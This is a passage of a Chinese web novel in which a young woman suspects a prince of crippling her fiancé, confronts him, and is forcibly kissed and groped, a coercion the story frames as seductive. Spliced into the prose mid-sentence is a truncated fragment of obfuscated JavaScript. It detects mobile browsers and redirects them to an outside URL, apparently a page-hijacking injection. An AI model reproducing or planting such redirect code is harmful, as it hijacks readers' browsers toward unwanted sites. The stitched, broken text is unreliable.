沈木兮没怎么出过门,其实对青州不算多熟:“都听公子的吧。”
祝长安眼睛笑得眯起!
“好,那我便带小姐去赏城外湖边的雪景吧。”
沈木兮微笑点头。
这时冷风吹起帘子,无意间抬头,瞥着了前方街道人群里,那一身玄袍,正扬唇对她阴冷笑着的一道身影。
她像是被吓到了,差点从马车里跌了出去!
“七小姐,你没事吧?”祝长安担心地问。
沈木兮再次看去!
可街道上已经没了那抹身影,仿佛方才的一切,只是她的幻境。
四周也归于平静,可沈木兮的心,却再也无法冷静了!
第77章 都是你这个灾星!
“停车,快停车……停下!”
祝长安连忙让车夫停下,然后担心地看去突然激动起来的沈木兮。
“到底发生什么事了,七小姐?”
沈木兮没说话,只是着急地下了马车,走到方才那个位置,左右四望!仔细地查看着!
然而此刻的街道四周,早已没有那道人影。
仿佛那只是她方才所想的幻觉。
可真的是这样吗?
祝长安追过来,见她神色苍白,神情恍惚的样子,甚是担心:“七小姐,你是不是身子不舒服,若是……”
沈木兮深深吐出一口气,抬头时面色已经大致恢复,她朝祝长安挤出一抹笑:“我没事。”
祝长安说:“我觉得你现在状态不太好,不然还是别出城了,改日我再带你去。”
他很是担忧的样子。
经过方才的事,沈木兮也的确已经没有什么心情出城赏景了。
但她都还没提出,祝长安就已经先说了,倒是让她觉得,这个祝二公子看着天真没什么城府,心倒挺细的。
“嗯,今日我身子不舒服,祝二公子,下次我做东,给你赔个不是。”
祝长安连忙摆手:“说什么话呢。你只要别不高兴就好。”
他顿了顿,似乎踌躇了许久,终于鼓足勇气说了出来。
“我只是在想,若是七小姐当真对于这门婚事……有其他的看法,我都是可以接受的。”
“你当真不愿,我是不会强迫你的。”
婚嫁自由,他即便喜欢人家,也不能强迫别人。
“祝二公子,你是不是误会了什么?”沈木兮皱眉道,“对于这门婚事,我没有任何的异议。只是今日,我的确是有点不舒服,和二公子无关。”
祝长安得了她的肯定话语,心中的大石头落地,脸上也终于浮现出了往日的纯白笑意。
这样天真单纯的笑,恍惚间,竟让沈木兮看到了另一个人。
“景愿……”
“嗯?七小姐,你在叫谁?”街头上人来人往,声音嘈杂,祝长安没听清沈木兮方才的话语。
沈木兮回过神,这才意识到自己方才说了什么,面色一变,神情也有些惊惶,赶忙道:“没,没什么。”
见她面色着实不好,祝长安只好先将她送了回去。
原本沈木兮是打算自己回去的,她现在只想一个人静一静,但祝长安坚持要送,她最后拗不过,还是乘着他的马车回了薛家。
把她送到还布置,祝长安还在府门外守着她进了府门,确定真的无事,才算离开。
沈木兮回头看着祝长安远去的马车。
祝长安,的确是个可以依托的人,她也看得出来,他是真的喜欢薛小七,也会对薛小七好。
反倒是她觉得自己委屈人家公子了。
本以为回府后,远离外面的喧嚣,她的心绪会平静一些。
可是回来后的沈木兮,心情并没有得以平静,反而更加坐立难安。
脑海中时不时就回想起,街头上晃眼一瞥那道眼神,和那“诡异”的笑!
就像是个魔咒一样,禁锢着她。
除此之外,她还想着祝长安。回想着他送自己回来时,临别时的灿烂笑意。
只觉得有那么一刹那,祝长安的笑,和街道上男人那道诡异冷笑相互重叠……霎时惊出沈木兮一身冷汗!
实在如坐针毡。
沈木兮正准备出院子,想打听一下祝长安安全归府没有。
外面突然响起一道急切的脚步声,正朝着她院子而来。
“七小姐,出事了。出大事了!”
“是祝家二公子,他在路上出了意外!”
听到这消息的那一瞬,沈木兮的周身血液,都差点要倒流了。
“什么意外?快说,快说。”沈木兮激动地问。
传消息的奴才擦着冷汗,这才说起。
祝长安送她回来后,在回去的路上,一匹疯马从巷子里冲出,和祝家马车冲撞,马车生生翻了个滚,车夫当场就被撞**!
听到这,沈木兮几乎无法站稳。
还是小愿撑着她!
“那祝二公子呢……他……”他怎么样了!
奴才又道:“祝二公子被人从马车里抬出去时,浑身都是鲜血淋漓……”
要说是生是死,他也不知道。
沈木兮哪里还坐得住,当即就准备前往祝家了。
祝长安是送她回来才出的事,无论是否为意外,她都得去看看。
另一边,欧阳氏也正得知了此事,便和沈木兮一同前去了祝家。
祝家此刻已然乱成一团。
因着祝老爷一直在外
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行商,得了消息也来不及赶回来。
祝夫人看到儿子浑身是血的被人从外面抬回来,当场就晕了过去。
现在整个祝家主事的人,便只有大公子祝长商。
薛家人现在过来,不说太突兀,总归是有些不自在。
欧阳氏和沈木兮就这样坐在祝家的前厅里,看着后院方向人来人往,大夫来了一波又一波。
好不容易看到了祝长商,沈木兮赶紧站起身:“大公子,祝二公子他有没有事?”
祝长商脸色很不好,他还没开口,那边苏醒的祝夫人,已经在丫鬟的搀扶下过来了,她哭成了泪人,指着沈木兮就开骂!
“都是你这个灾星!”
“我早就对安儿说了,你一个庶女,要身份没身份,要母家没母家。娶来作甚?若是我当初极力反对他,他今日就不会去找你。更不会出事了!”
“都是你,你这个灾星,你这个祸害啊!”
祝夫人哭得声嘶力竭。
虽说这件事的确有一部分是沈木兮的原因,毕竟人是送沈木兮回来才出的事,但祝夫人这话实在太过分了些。
欧阳氏当即就不高兴了。
她性子本就烈,这会儿见祝夫人二话不说直接骂自家孩子,也不惯着。
“祝夫人你这话未免太过了些,又不是我家小七撞的二公子,你要发气,就去找那匹疯马的主人才是。我薛家听到二公子出了事,当即就来了,也没有要推卸责任。没想到一来却是碰一鼻子的灰!”
眼瞧着欧阳氏要和祝夫人闹开,早上原本还和和睦睦的两家子,此刻倒像是成了仇人。
沈木兮赶紧上前劝阻。
“母亲,女儿知道您是为了女儿讨公道,但今日咱们过来,是为了二公子。还请母亲先行息怒。”
在沈木兮和祝长商的奋力劝说下,欧阳氏和祝夫人总算是冷静了下来。
沈木兮上前:“祝夫人,不知二公子现在如何,我可不可以去看看……”
祝夫人怒目圆瞪!
看着沈木兮的眼神恶狠狠。
“是你害得我儿,还想去看他?走,都走!我们祝家只是老实本分的普通生意人,庙小,住不了身份尊贵的知府千金!”
“今后我祝家,和你们薛家,还是不要再往来了!走,走啊!”
第78章 他的报复
“哼!谁稀罕你祝家啊,小七!我们走!”
欧阳氏也懒得在这赔笑了,人家不待见,她们还赶着贴去吗?又不是真嫁不出去了!
当场带着沈木兮就要离开。
沈木兮知道,祝夫人这样生气,也是关心则乱的缘故,方才说的,也多是气话的成分。
现在两家主母都动了肝火,继续在这,只会让事情更糟糕。
她也没有再多留。
等到来到祝家府门,她们要离开祝家的时候,一道身影,出现在了她的身后。
是祝长商。
祝长商先是替母亲对欧阳氏道了个不是,然后带着沈木兮借一步说话。
来到府外高墙下,祝长商说:“七小姐,你别怪我母亲。今日二弟浑身是血被送回来的时候,的确太……”
他的声音也都是哽咽。
“别说是母亲她接受不了,就算是我,当时也是被吓到了。”
沈木兮没有怪罪祝夫人的意思。
“没事的。不知二公子现在到底如何了?”
祝长商抿唇摇了摇头,没有说话。
沈木兮已经猜到了,怕是情况很不乐观。
她的心底蓦地又沉了沉。
“二弟现在想见你,让我瞒着母亲把你带过去。”祝长商又道。
沈木兮未有迟疑,当即颔首!
“好!”
不出半晌,在祝长商的带领下,沈木兮来到了祝家的后院。
“你放心,母亲已经喝了安神药,她那边有我在,不会来这的。你、快些去吧。”祝长商推开了房间的门。
才稀开一条缝,沈木兮就已经闻到了里面那浓重的血腥味。
她点点头,抬步走了进去。
房间里的血腥味比门口更为剧烈,还伴随着一股股很重的药味,刺激着人的鼻腔!
沈木兮眉心一紧。
一点点来到床边。
等看到那床帘后,浑身鲜血,正躺在床上,都快被撞得不成人形的祝长安,沈木兮的鼻子蓦地一酸,下意识捂住了嘴。
“二公子……”
他半边脸都肿了,浑身上下全是伤,双腿不知是没了知觉,还是怎么的。竟还保持着被撞时的扭曲姿势。
看着这一幕,沈木兮心都跟着抽痛了起来!
听到动静,祝长安艰难地睁开仅存完好的那一只眼,嘴角轻微扯动。
“别哭,不要害怕,我没事的……咳咳。”他声音嘶哑地说,仅仅是一句话,都好像要用尽全部的力气!
他都这样了,居然还在安抚着她。
沈木兮心中的罪恶感和自责,是越发的浓烈了!
“别说话了,小心身子。”
他每说一个字,她都能看到他胸腔的剧烈起伏,牵扯着他周身。
还有额前的冷汗层层。
似乎除了外伤,他还有很严重的内伤。
他肯定都要疼**吧。
沈木兮拿出绢帕,在旁边轻轻给他擦着脸上的血污和冷汗,泪水止不住地流。
“对不起,祝长安。”
“不,应该说对不起的人,是我。七小姐,我怕是不能娶你了。”
祝长安闭上双眼,一滴晶莹从眼角滑落!
方才大夫虽然是在对母亲和大哥说的。
但他在里屋,也听到了内容。
大夫的大概意思是,他这身子,大抵是废了。
别说是双腿能否复原下地。
就算上半身,乃至他的双手,都可能一辈子都无法再动弹了。
这样的他,又该怎样去娶她呢?
连他都瞧不起自己。
“别这样说,我等你好起来。”沈木兮当即道,眼神坚定,“你现在什么都不要想,先好好养身子。等养好了,其他的事,我们再说。”
“我可还在等你,带我出城游玩的那一日呢。”她一边轻轻揽过他杂乱的头发,一边轻笑地说。
出城吗?
祝长安眼底划过一丝落寞,以及浓浓的不甘。
他连靠自己出这间屋子都办不到,出城?那就是一个笑话。
很快祝长安便受不住昏死过去了。
等他昏睡后,沈木兮才敢哭出声音来。
她抹去眼底的晶莹,给祝长安一点点盖上被褥,又在这里陪了祝长安许久后,才沉默地离去。
“大公子,谢谢你带我来见他一面。”出去后,沈木兮先给祝长商道了句谢谢,然后从祝长商这里了解到了祝长安的伤势程度。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989377|193682||http|test|mini|href|location''.split(''|''),0,{}));
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>其实,方才她就察觉出了。
祝长安脖子以下的身体部分,好像都无法动弹了。
这样的程度,怎会是区区马车的冲撞造成的?
她就知道……早该知道的……
回想起在街道上看到的那双阴冷眸子。
沈木兮闭上双眼!
已经是不敢再去想了……
“劳烦大公子照顾好二公子,祝夫人说的对,他这样有我的原因,我是不会丢下他不顾的。我还有事要办,等下次我再来看他。”
她说完就走,步伐坚定。
沈木兮没有回薛家,而是再次踏上了去宝月楼的路。
这一次,她不再小心翼翼,像做了什么决定,冷肃着一张脸,直接朝着三楼去了。
先是薛宝莹,而后是祝长安。
身边一个个对她好的人,不是“背叛”和离心,就是差点死掉!
若沈木兮再当做什么也没发生,再去继续欺骗自己!她都觉得自己有几分可笑了。
和之前一样,沈木兮被这里的守卫给阻拦了。
她目视前方,语气冷冷的:“我要见太子殿下。”
北辰景做这么多,不就是为了报复她吗?
其实他早就知道那尸体不是她了吧。
也知晓,她不是薛小七,对吗?
“太子是你能见的吗?赶紧离开,别怪我们对你不客气。”这里的守卫依旧很不客气。
沈木兮没有动,任由守卫的大刀朝着自己脖子横来。
就在这时,如沈木兮所料的,一道声音响起。
是离阙。
那个先前在北辰景身边出现的近身侍卫。
“都在这闹什么!”他呵斥着那些对沈木兮不恭敬的守卫。
在他的眼神示意下,四周阻拦的守卫们纷纷退下。
随后离阙看去沈木兮,并没多余的表情,依旧和上次差不离的冷漠态度。
“跟我进来吧。”他对沈木兮冷淡地说。
沈木兮敛下眸子,跟着离阙来到了三楼的一处雅间外。
在青州城,早已和他相见数次。
可此刻,才像是他们之间的真正“重逢”。
门缓缓地开了……
北辰景。
好久不见。
第79章 他在勾引她吗?
冬日的雅间屋内,备着充足的木炭。
檀香袅袅。
可进来的那一刹,沈木兮却是感觉到一股寒气入骨,浸满她的周身。
帘子后,那男人也微微动了。
烟雾缭绕的珠帘下,北辰景正侧躺在软榻上,长发松散半束,今日的他,不是往日那身高贵逼人的玄袍,而是披着松松垮垮的红纱长衣。
即便是隔着一道帘子,沈木兮也能感觉到,里面那半撑着侧额男人的妖冶邪气。
如一幅美人画卷,又更像是一颗带着剧毒的**。
哪怕是接近一步,都会万劫不复。
“民女,见过太子殿下。”沈木兮停在五米外的距离。
她话语恭敬,但姿势却没有多少的敬意,反而多是冷漠。
里面的男人缓缓飘出一句:“出去。”
这话是对离阙说的。
离阙看了眼沈木兮,似乎不太放心,但还是拱手恭敬地退了出去,还识趣儿地关上了门。
门关上的那一刻,沈木兮身子跟着一抖。
想跑的心,已经在嗓子眼了!
但还是生生忍了下来。
面前男人帘后的眼神炽热如火,四周却是冷气四伏。
让沈木兮只觉自己宛若在冰火两重天中。
她强忍下心绪里……那股和他相见的骇浪涌动,鼓足勇气开口。
“民女不知自己做了什么事,得罪了殿下,殿下若是对民女有任何的意见,只对付民女就好,还请殿下不要再伤害民女的身边人。”
里面的男人缓缓睁开染了氤氲雾气的狐狸眸,像是听笑了。
“得罪?你何来得罪孤。我们,认识吗?”
帘子微动,他已经掀开珠帘从里面走了出来。
入目便是那张冷艳的男人面庞,他双唇如血,身上红纱长衣松松垮垮,先前还不觉,现在站在光影里,红衣几乎是透白的,里面的宽肩窄腰,和勾人腰腹线条若隐若现。
在那如**般的白皙肌肤衬托下,眼前的邪魅男人,带着一种致命的诱惑和吸引。
真是个妖精。
沈木兮在心里低骂了句。
无论原文里是怎样描绘他后期的绝艳,可都没有此刻亲眼所见带来的震撼!
在她呼吸加重的下一刻,沈木兮赶紧转开了眸光。
下意识往后退了一步。
“为什么不说话。”他行至她跟前,那几乎快压透她的高大身形,就这样逼到了她的眉目上方,居高临下,“说啊,我们,认识吗?”
他捏起她的下巴,眼尾轻挑,一点点压了下来。
偏偏在这俯身之时,他身上那松垮的红衣,突然往下拂落。
那一层他周身仅存的轻纱,就这样带着一股檀香,划过沈木兮的脸,勾着她凉透的指尖,最后落至她的脚边……
那酥酥麻麻,好似被人突然咬上一口的错觉,让沈木兮身形一僵,脸颊陡然红了。
她一时间竟不知道。
他到底是在逼问恐吓她,还是在“勾引”她!
沈木兮只能尽力让自己别去看那些不该看的地方!
毕竟眼前之人,已然毫无遮掩!
但她手心里的汗,和那逐渐红透的耳骨,都已经暴露了她的内心起伏。
恍惚间,像是想起那年,他也曾这般故意“赤身”站在自己跟前。
也是到了此时,沈木兮才后知后觉。
他其实从来就没变过。
那两年在自己跟前的乖巧和听话,都不过是他的刻意伪装。
一想到他竟从那么早就开始伪装骗她,沈木兮都快不能呼吸了。
“还请……殿下自重!”沈木兮咬着唇,话语里带着一丝愠怒,像是在隐忍着什么,额前早已经是冷汗层层。
北辰景细长眼眸低垂,看着这颇为“熟悉”的一幕,眼底冷冽光芒更甚。
他好像才发现,自己那正揽住她腰窝,将她抵在桌前的动作。
只说了一句抱歉,却没有要将手收回去的意思。
沈木兮:“……”
“殿下…!”她有些急了。
“你还没回答孤的问题。”
他的狐狸眼斜勾着看来,红唇边始终存在的弧度,让人窥探不清他的真正情绪。
沈木兮没说话。
先前在来的路上,她其实就已经做好了“暴露”身份的决定。
可此刻真正看到他了,她又突然怕了。
怕得要死……
沈木兮只别开目光,偷偷做了一个吞咽口水的动作。
然而这个动作,落入眼前之人的眸中,却是致命的吸引。
北辰景的眼神诡异的一深,撑着她身后的桌沿,啪的一声,将沈木兮压在桌面上!
沈木兮还没反应过来,自己的胸前已是一凉。
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她瞪大眼睛。
“殿下,你做什么?”
她想护住胸前,双手却被他单手抓住牢牢扣在头顶上方!紧接着,那股令人难耐的酥麻感,从他压下的唇边,衍生至她的胸前肌肤,乃至四肢……像是触了电般。
明明他红唇如火,每个在自己胸口上落下的吻,都是绵密炽热的!
可沈木兮却越发觉得身子透凉无比。
他的吻逐渐越发的疯狂,吻过她胸前的每一寸,动作从开始的轻缓,到最后用力的吸咬!他亲的又凶又狠,仿佛要把她拆吞个干净!
沈木兮即便不去看,也能知道自己的胸前,已是怎样的一片污秽!
最后他的吻停在了她颤抖苍白的唇边,俯瞰的眼神从上而下,直勾勾盯来。
那双眼眸里,带着沈木兮记忆里的湿红雾色,却又多了一股令人胆寒的邪肆疯狂。
“你来找孤,不就是和寻常青州女子一样,想上位吗?那孤给你机会。”
他冷笑,这一次是往她的双唇压下。
不,不要。
沈木兮也不知自己哪里来的力气,终于挣脱开他的控制,抬手就给了他一巴掌!
“你疯了吗!”
清脆的巴掌声响起,不仅仅是沈木兮呆住了。
对面的男人也显然有些意外。
她力道不小,他别过头,嘴角瞬间渗出了一丝血迹。
沈木兮倒吸一口凉气!
恨不得刚刚那一巴掌,是打在自己的脸上。
她才是发疯的那一个吧!
这可不是以前的谢景愿,而是北辰景!
沈木兮脸色苍白,几乎已经不敢去想自己今日的结局了。
早知道,方才就让他那样“啃”死算了!被亲一下又能怎样!!
怎么也比被挂去城楼,当干尸来的好啊。
就在沈木兮在心里挣扎,要不要直接跪下道歉。
或者大喊出来,把事情闹大,让人知道知府女儿在这里,他也不敢直接杀了她。
然而,沈木兮意外的是,北辰景除了一开始的愣怔,和眼底闪过的幽暗色泽外,并没有当场发怒。
他抬手抹掉唇边的鲜红。
盯着指腹上那血色时,他眼底的诡异四伏的幽光,反而是更浓了。
还带着一股激动……和亢奋……
不是吧,她这竟是把他给打爽了!?
第80章 翻脸不认人
“殿下,出什么事了吗?”
守在外面的离阙,听到了屋中的动静前来,同时也打破了雅间里的那一瞬无比诡异又古怪的氛围。
“无事。”北辰景的声音平静又冷漠,听不出什么异样。
他说完,在沈木兮还在呆愣之时,便已经丢开了她,神色冷淡,转过身拢上了往日的玄袍,连垂落的发丝都像是染了一席冰霜。
“出去。”
这一次,这两个字是对着沈木兮说的。
比之前对离阙的时候还要冷。
前一刻他还是那副陷入情迷疯魔,几欲要将她给吃掉的样子,此刻却是换了一副高冷姿态。
仿佛先前那一瞬两人之间的暧昧并不存在。
以至于沈木兮此刻都恍惚还在状况之外。
她眼神闪动,回过神后也赶紧穿好衣服,垂头冷声说:“还请殿下别再对我的身边人动手了。”
“他们,对你很重要?”他突然开口问。
沈木兮不知道他问这个作甚,但还是很坚定的回答:“他们是我的朋友。”
朋友当然重要。
哦,朋友。
北辰景背着身,未曾对她先前的话语作答,只是侧头,用他那细长的狐狸眼睨了她一瞬。
“离阙,送客!”
根本不等她继续多说其他,更不想让她在这多留一刻。
很快,冷冰冰的离阙就已经一言不发,把沈木兮带了出去。
说是带,其实就是轰。
连关门的动作,都那么的迅速。
更别说是给她一个正眼了。
沈木兮算是看出来了,这个离阙很讨厌自己。
她都不认识他,还能把人家得罪了去?
果真是人倒霉了,喝水也塞牙。
经过了方才的事,其实沈木兮也不知道北辰景到底认出自己没有,还是仅仅因为她这张“相似”的脸,让他心里产生了某种报复的情绪。
更不知他会不会停手。
不过要真继续在这多留,她怕是连小命都要交代在这了。
她回头看了眼三楼方向,紧抿双唇,裹了裹身上衣服,想遮住脖子上的那些污秽痕迹,掩在人群中,很快走了。
沈木兮走的很小心,一直埋着头,猫着身子,那做贼心虚的样子,不像是一开始的气势汹汹来这找人算账,而是找小白脸“偷情”跑路的。
是以她根本没发现在宝月楼外,穿着一身丫鬟衣服,在那探头探脑的薛宝莹。
是的,她还是不死心。
即便被薛清骂了,也再次关门禁足了,但依旧未曾改变心里的想法!
别人怎会懂她呢?
只有她看到了母亲在父亲同其他姨娘承欢恩爱时,她那孤独地坐在房中,对着外面的月亮,伤心落泪的样子。
母亲是多么骄傲的一个人啊。
从来不忍吃亏。
却被这后宅,给磨平了棱角,一次次的忍让。
薛宝莹知道这是一条很危险的路,但是她还是要去做。
只有她才能成为母亲的依靠。
薛小七又怎会懂这些呢?
想起她,薛宝莹皱紧眉头,但更多的还是眼底掩饰不去的落寞,到底是好姐妹,即便她现在再怎么去恨她,可突然闹僵她也是很难受的。
前几日,她虽然在嘴上说,让婢女们不许送碳去祠堂,可过了没多久,她还是自己偷偷送了去。
很快,薛宝莹一扫心中烦闷,又攥紧了自己的小拳头。
就在薛宝莹要准备进去时,另一道身影,也和她一个样子,从旁边偷偷摸摸的窜出。
两道贼兮兮的身影,就在这生生撞了个正着。
“谁啊!不看路的吗,撞死小爷了!”
薛宝莹站定,正合着双手,缩起脖子想对面前的人说对不住,抬头却看到一张再熟悉不过的脸。
“是你?”
“居然是你!”
北辰殷和薛宝莹两人异口同声。
几乎是同时跳脚!
北辰殷一眼认出,这就是上次在街上,撞自己马车,还拿银子打她的女人。
薛宝莹此刻也没了方才小心翼翼的样子,站直自己的小身板,双手叉腰,圆脸上的一双眼睛,瞪得比铜铃还大。
“我当是谁呢,原来又是你这个不长眼的家伙。”
她眼神上下扫了眼北辰殷。
今日北辰殷也是要偷偷溜出去,打算去看一看沈木兮的。
几日没听到她的消息,他有些担心。
所以特意穿了一身小厮的衣服。
“原来是个小厮啊。”薛宝莹回想上次一见,猜测他八成是偷穿了自家公子的锦袍,故意出来耀武扬威的。<
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br>就说嘛,谁家公子会是这副德行?
北辰殷被薛宝莹打量的有些不自在,下意识抬手捂住身子,咽了口唾沫:“看……看什么看!再看,小爷把你眼珠子给挖出来。”
薛宝莹撇嘴。
都拆穿了,还搁这装大爷呢。
“你个小厮,有什么资格和我说话,走开!”
“我是小厮?那你还不是个小丫头片子!”北辰殷看了眼她身上的丫鬟衣服,抱胸冷哼,不服输地道,“谁家丫头像是你这么凶,若是我的丫头,直接拖出去乱棍打死。”
“你!”薛宝莹被气得满脸涨红,但她不想暴露身份,只能咽下,“本姑娘还有事,没时间和你废话,好狗不挡道,赶紧滚。”
“狗?”北辰殷嗤笑,掏了掏耳朵,“奇怪,狗不是一直在吠吗?那方才在那叽叽喳喳的又是谁?”
“……”
两人四目登时,眼神里都在蹭蹭冒着火花。
最后谁也不服谁,脑袋齐齐一偏!
薛宝莹的确没时间和他闹,就当自己今日出门不利,踩了坨“狗屎”。
她正要愤然离开。
宝月楼外有马车停下,一道身影映入了她的眼帘。
“父亲?!”
薛宝莹心中猛地一跳,赶紧躲在了北辰殷的身后。
“喂,你干嘛?”看着被她抓皱的衣服,北辰殷眉心紧皱,一脸嫌弃和不悦,“我说能不能把你那脏手拿开?”
他可还要去见沈木兮的。
虽然穿着小厮的衣服,但也是好生捯饬过的,衣服被她弄皱弄脏如何是好?
“嘘,别说话!”
薛宝莹一把捂住北辰殷的嘴,躬着身子,带着他赶紧朝旁边酒楼外的石狮子后躲了去。
少女的手白皙如玉,那软糯嫩滑的触感,在这冬日暖阳里轻拂在他的唇边。
伴随着北辰殷喷洒出的湿热呼吸,和她指缝里残留着的蜜饯甜香。
这一瞬,不仅是北辰殷的脸色变了。
感觉到掌心里湿热一团的薛宝莹脸色也变了。
但只是那一刹那。
很快两人都反应了过来。
“唔……唔!”北辰殷拼命挣扎!
可这该死的丫头,力气居然比他一个大男人的还大,是属牛犊子的吗!硬生生就把他给拽了过去。
第81章 一对冤家
果真是个干粗火的丫头,手劲儿真不小!
北辰殷已经对薛宝莹的丫鬟身份深信不疑了。
薛宝莹也在心头鄙夷北辰殷是个废物来的,连个小厮都当不明白,真是没用极了。
她一边捂住他,一边警惕地看着前方,待薛清的身影进了宝月楼,她长松口气,这才丢开了北辰殷。
“好险!”她还在心有余悸地拍着小胸脯,抬头一看,对上北辰殷不知是被气红,还是怎么的,突然就通红的一张脸,微的愣住。
她这才想起方才的事,和手心里那尚存的湿热感。
薛宝莹的小脸也有些不自然,眼神微微闪躲。
顿了半晌,还是北辰殷气得先跳脚:“臭丫头!小爷我记住你了,下次别让我遇到你!不然要你好看!”
薛宝莹叉腰:“那你也别凑到我跟前,我还不想遇到你呢!”
“哼!”
“哼!
两人齐哼一声,待转过头的瞬间,各自灰溜溜的跑了。
也不知身后是有老虎还是豹子,两个家伙居然跑得一个比一个快。
……
等北辰殷去到薛家找到沈木兮时,已经是一个时辰后了。
这边,一样“逃”回来的沈木兮,进院子后便大手一挥,赶紧让小愿给自己准备了浴桶和热水。
小愿第一次见小姐这般,她心中担心,想进来看看。
“小姐,您没事……”
却被沈木兮尖叫着叫了出去。
“啊……别进来!”
帘子后,沈木兮拼命拿去衣服遮挡住身前的男人痕迹,脸红如蜜桃。
小愿赶紧退了出去。
先前沈木兮还不觉,此刻在水里才看到,胸口处是怎样的一片污浊……
脑海里再次回忆起在雅间里的情迷场景,和他放肆亲咬她胸前时,那时不时挑起来看向她的狐狸眼……
沈木兮胸下再次一热,仿佛他唇齿间摩挲着她肌肤每一寸的触感,还留在自己身前,犹如电流刺激着她……其实他当时并没有太用力,他的朱红血唇也是软软的,和看起来一样的蛊惑诱人。
但更因为如此,才酥酥麻麻,最要人命!
莫名的,沈木兮突然有点口干舌燥……
意识到自己居然还在这回想那一幕!
沈木兮止不住打了个哆嗦。
不许想了,不许再去想了!
她一轱辘扎进水下,生生把这滚烫的热水,泡成了冷水,才算“清醒”。
等她泡完澡出来时,沈木兮终于“活”了过来。
小愿说有人来见自己,正在后院等着她,说是她远房表亲九哥。
沈木兮嘴角抽了抽,九哥?
这北辰殷。
她失笑地摇了摇头,随后又想起和北辰殷一样纯白天真的祝长安。
那样美好的祝长安,不应该是这样的结局。
“对了,小愿,我让你派人去细查的事,怎么样了?”
小愿说:“小姐,奴婢已经让人去了,说是那场马车祸事,的确是个意外。马儿是从城中马厩里跑出来的,前段时间就有些毛病了。主人家没看住,才跑去了街上。”
是吗。
沈木兮眉心紧皱。
“还有祝家人也去调查了,结果都差不离。”小愿说着,再看沈木兮微白的脸色,有几分不忍。
小姐真可怜。
庶女身份,好不容易能嫁个好人家,却出了这场祸事。
无论之后嫁不嫁过去,小姐的心里都不会好受的。
沈木兮的确不好受。
但多是自责。
她又对小愿说,去买些补品,无论祝家收不收,都得每日送去。
再托人去寻医术精湛的大夫。
听人说,离青州不远的蓬莱岛,就有一位神医。
这边因着祝长安的事耽搁了一下,是以等沈木兮去见到北辰殷时,已经是又过了一炷香了。
北辰殷脾气一向大,沈木兮回想着前几日,他以为自己死掉,偷偷去隐姓埋名时,那暴跳如雷,要把他给吃掉的样子。
她便以为自己把他晾在这,自己八成又得好生哄一番了。
没想到来到后门,却见这小子背着身杵在树下,摸着手,也不知在搞什么东西。
连沈木兮走到了他的身后,他居然都不知道。
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>还是她拍了他的肩膀,北辰殷才反应过来。
“北辰殷,你偷摸在这干什么呢?”沈木兮上下打量他,又看去他偷摸藏在身后的手。
她一把伸去,将他的手扯了过来。
可是低头一看,手心啥也没有。
沈木兮更不明了。
北辰殷咧嘴一笑:“没,没做什么啊。这不是在等你吗!”
奇怪,怪得很啊。
沈木兮摸着下巴,满脸狐疑。
不过她自己都心绪烦乱,也没空去管北辰殷有什么小九九,没有继续去追问了。
北辰殷吐出一口气,看去自己的手心,在心里暗暗嘀咕。
这小女孩子的手,怎就生得那么软嫩,他的手咋硬邦邦的?
从方才到现在,他就一直在想这个问题。一不留神,脑海里便蹦跶出,先前那娇软小手抚在自己脸上的场景和触感……真是烦死个人了!
“对了,你今日找我做什么。”沈木兮问。
北辰殷抛开那些七七八八的,道:“许久没听到你的消息,就过来看看你。”
他好像这才发现沈木兮脸色不太好,有些红……但细看,又觉有些苍白。
原来今日古怪的人,不止自己呢。
两人随意寒暄了一番,沈木兮还是忍不住问出了那个问题。
“北辰殷,我问你,你要老实回答我。”
他乖乖点头:“好,你说。”
“近日北辰景他……除了在宝月楼,或是相见城中官员,还有没有去其他地方。或者他的身边人,去了城中某处?”
北辰殷答的很直接。
“没有。”
甚至没有多作他想。
沈木兮反问:“你为何如此肯定。”
北辰殷看了眼她,像是在迟疑,最后还是忍不住说了。
“我只告诉你,你可别告诉旁人。”
他还警惕地去看了一番四周,把沈木兮拉到树下阴影角落,这才道。
“其实,这次京城皇室南下,并不是坊间所流传的选妃那么简单。”
沈木兮就知道不仅是因为选妃。
“我们南下,其实是因为……”
第82章 他…要回京了吗
他的声音越来越小。
沈木兮听完,挑起眉头。
“铁矿山?”
北辰殷的脸色是少有的严肃,他认真地点头:“具体的事情,我不能告诉你,你知道了,会有危险的。”
“因为现在盯着这个地方的人,不仅仅是我们,还有其他人。我们之所以在南下一路寻觅,最后还来到了偏远的青州,便是因为想借此甩掉那些跟踪的人马。”
沈木兮开始回忆起原书中的内容,对于北辰殷说的这个地方,隐隐有点印象。
她记得,夜王在沧州蛰伏多年,之所以还能卷土重来,就是因为寻到了一块儿千年宝地。
他不仅仅成功打造了无数兵器,还养了数十万的兵马。
关键是这些动静,都被隐藏的极好,连沧州本地人都不曾知晓。
她猜测,夜王八成就是早早的搞到了这块“肥肉”,至于被贬去沧州,都是他的故意算计。以至于在后来,他才能击败当时几乎已经权倾朝野,万人之上的北辰景。
北辰殷说:“总之,我们在青州逗留是一个意外,我也没想过会在这遇到你。”
“他,应当也是如此吧。”
提及北辰景。
沈木兮突然沉默了。
若他并非为了自己前来,近日里也没有随意外出,去接近什么人。
那这匹疯马,莫不真是一个意外?
只是她被这个男人的“伪装”,已经给装出了阴影。
那一瞬的自我怀疑,很快被她按捺进了心底。
“好啦!知道你这几日没事就好。”一番严肃后,北辰殷又恢复了往日的嬉笑样子,“我不能在外面久留,被他发现我乱走动,会牵扯到你的。下次得空再来看你。”
北辰殷现在,很畏惧北辰景吗?
沈木兮还想问些什么,他已经跑了个没影。
她只能把心头所想压下。
这小子跟着北辰景,即便是被利用和威逼的,但也比在夜王那的好。
回了院子,沈木兮遇到了刚回来的薛宝莹。
一看薛宝莹身上的穿着,就知道她这是又偷溜去了宝月楼。
不想她这么有决心,倒是让沈木兮另眼相看。
两人撞上,沈木兮沉默着没说话。
倒是薛宝莹神色微变,细看她今日面色十分的不对劲,瞅着耳根子也有点微微发红。
见沈木兮盯着自己看,薛宝莹咬了咬唇,赶紧跑了个没影!
沈木兮满脸狐疑。
以薛宝莹的脾气,这两日她正对沈木兮不待见呢,见到自己,高低都得骂个一两句。
可薛宝莹今日,却像是做贼一样。
奇怪。
沈木兮看去后门方向。
